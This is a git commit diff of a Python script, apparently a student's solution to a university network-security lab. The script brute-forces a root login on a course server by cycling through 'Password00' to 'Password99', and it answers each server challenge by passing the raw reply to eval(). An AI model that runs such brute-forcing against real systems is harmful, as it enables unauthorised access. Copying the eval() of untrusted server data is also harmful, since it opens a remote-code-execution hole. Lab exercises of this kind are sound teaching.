solved
This commit is contained in:
@ -4,27 +4,10 @@ import time
|
||||
HOST = 'netsec.net.in.tum.de' # TODO
|
||||
PORT = 64984 # TODO
|
||||
|
||||
|
||||
|
||||
def get_flag2():
|
||||
credentials = "root,Passwordr00"
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((HOST, PORT))
|
||||
sf = s.makefile('rw') # we use a file abstraction for the sockets
|
||||
print(sf.readline().rstrip('\n'))
|
||||
sf.write("{}\n".format(credentials))
|
||||
sf.flush()
|
||||
data = sf.readline().rstrip('\n')
|
||||
resp = eval(data)
|
||||
sf.write("{}\n".format(resp))
|
||||
sf.flush()
|
||||
print(sf.readline().rstrip('\n'))
|
||||
print(sf.readline().rstrip('\n'))
|
||||
|
||||
def get_flag():
|
||||
for i in range(100):
|
||||
time.sleep(2)
|
||||
credentials = "root,Passwordr"+str("%02d" % i)
|
||||
credentials = "root,Password"+str("%02d" % i)
|
||||
print(credentials)
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
@ -37,57 +20,13 @@ def get_flag():
|
||||
resp = eval(data)
|
||||
sf.write("{}\n".format(resp))
|
||||
sf.flush()
|
||||
print(sf.readline().rstrip('\n'))
|
||||
print(sf.readline().rstrip('\n'))
|
||||
result = sf.readline().rstrip('\n')
|
||||
if "login" in result:
|
||||
print(sf.readline().rstrip('\n'))
|
||||
break
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
|
||||
# def ans():
|
||||
# for i in range(100):
|
||||
# credentials = 'root'+','+'Password'+str("%02d" % i)
|
||||
# print(credentials)
|
||||
# try:
|
||||
# s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
# s.connect((HOST, PORT))
|
||||
# sf = s.makefile("rw") # we use a file abstraction for the sockets
|
||||
|
||||
# sf.write("{}\n".format(credentials))
|
||||
# sf.flush()
|
||||
|
||||
# challenge = sf.readline().rstrip('\n')
|
||||
|
||||
# print("Solve the following equation to prove you are human: ", challenge)
|
||||
|
||||
# inToPosEx = infix_to_postfix(challenge)
|
||||
# value = postfixEval(inToPosEx)
|
||||
|
||||
# print('VALUE = ',value)
|
||||
# sf.write("{}\n".format(str(value)))
|
||||
# sf.flush()
|
||||
|
||||
# data = sf.readline().rstrip('\n')
|
||||
# print("From Server: `{}'".format(data))
|
||||
|
||||
# data = sf.readline().rstrip('\n')
|
||||
# print("From Server: received {} bytes".format(len(data)))
|
||||
|
||||
# data = b64decode(data.encode())
|
||||
|
||||
# pdf_hdr = b'%PDF-1.5'
|
||||
|
||||
# if len(data) >= len(pdf_hdr) and data[:len(pdf_hdr)] == pdf_hdr:
|
||||
# print("Looks like we got a PDF!")
|
||||
# # TODO write the received data to a file
|
||||
# f = open('a.pdf','wb')
|
||||
# f.write(data)
|
||||
# f.close()
|
||||
# sf.close()
|
||||
# s.close()
|
||||
# except:
|
||||
pass
|
||||
|
||||
if __name__ == '__main__':
|
||||
get_flag()
|
Reference in New Issue
Block a user